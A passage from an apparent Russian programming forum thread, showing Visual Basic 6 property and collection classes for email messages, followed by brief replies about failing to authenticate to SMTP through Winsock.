    m_strBCC = vData
End Property

Public Property Get BCC() As String
    BCC = m_strBCC
End Property

Public Property Let CC(ByVal vData As String)
    m_strCC = vData
End Property

Public Property Get CC() As String
    CC = m_strCC
End Property

Public Property Let Sender(ByVal vData As String)
    m_strSender = vData
End Property

Public Property Get Sender() As String
    Sender = m_strSender
End Property

Public Property Let ReplyTo(ByVal vData As String)
    m_strReplyTo = vData
End Property

Public Property Get ReplyTo() As String
    ReplyTo = m_strReplyTo
End Property

Public Property Let Subject(ByVal vData As String)
    m_strSubject = vData
End Property

Public Property Get Subject() As String
    Subject = m_strSubject
End Property

Public Property Let From(ByVal vData As String)
    m_strFrom = vData
End Property

Public Property Get From() As String
    From = m_strFrom
End Property

Public Property Let MessageTo(ByVal vData As String)
    m_strMessageTo = vData
End Property

Public Property Get MessageTo() As String
    MessageTo = m_strMessageTo
End Property

Public Property Let MessageID(ByVal vData As String)
    m_strMessageID = vData
End Property

Public Property Get MessageID() As String
    MessageID = m_strMessageID
End Property

Public Property Let SendDate(ByVal vData As String)
    m_strSendDate = vData
End Property

Public Property Get SendDate() As String
    SendDate = m_strSendDate
End Property

Public Property Let Received(ByVal vData As String)
    m_strReceived = vData
End Property

Public Property Get Received() As String
    Received = m_strReceived
End Property

Public Property Let ReturnPath(ByVal vData As String)
    m_strReturnPath = vData
End Property

Public Property Get ReturnPath() As String
    ReturnPath = m_strReturnPath
End Property

Public Property Get Size() As Long
    Size = Len(m_strMessageText)
End Property

'local variable to hold collection
Private mCol As Collection

Public Sub Add(oMessage As CMessage, Optional sKey As String)

    If Len(sKey) = 0 Then
        mCol.Add oMessage
    Else
        mCol.Add oMessage, sKey
    End If

End Sub

Public Property Get Item(vntIndexKey As Variant) As CMessage
  Set Item = mCol(vntIndexKey)
End Property

Public Property Get Count() As Long
    Count = mCol.Count
End Property

Public Sub Remove(vntIndexKey As Variant)
    mCol.Remove vntIndexKey
End Sub

'Public Property Get NewEnum() As IUnknown
'    Set NewEnum = mCol.[_NewEnum]
'End Property

Private Sub Class_Initialize()
    Set mCol = New Collection
End Sub

Private Sub Class_Terminate()
    Set mCol = Nothing
End Sub

я же пишу - с помошю винсока неполучается, ошибку пишет. Да и документации по смтп во основном не описывает авторизации

Вот зайди туда и поищи инфу по SMTP. И не говори мне, что ты не нашёл

только все на английском...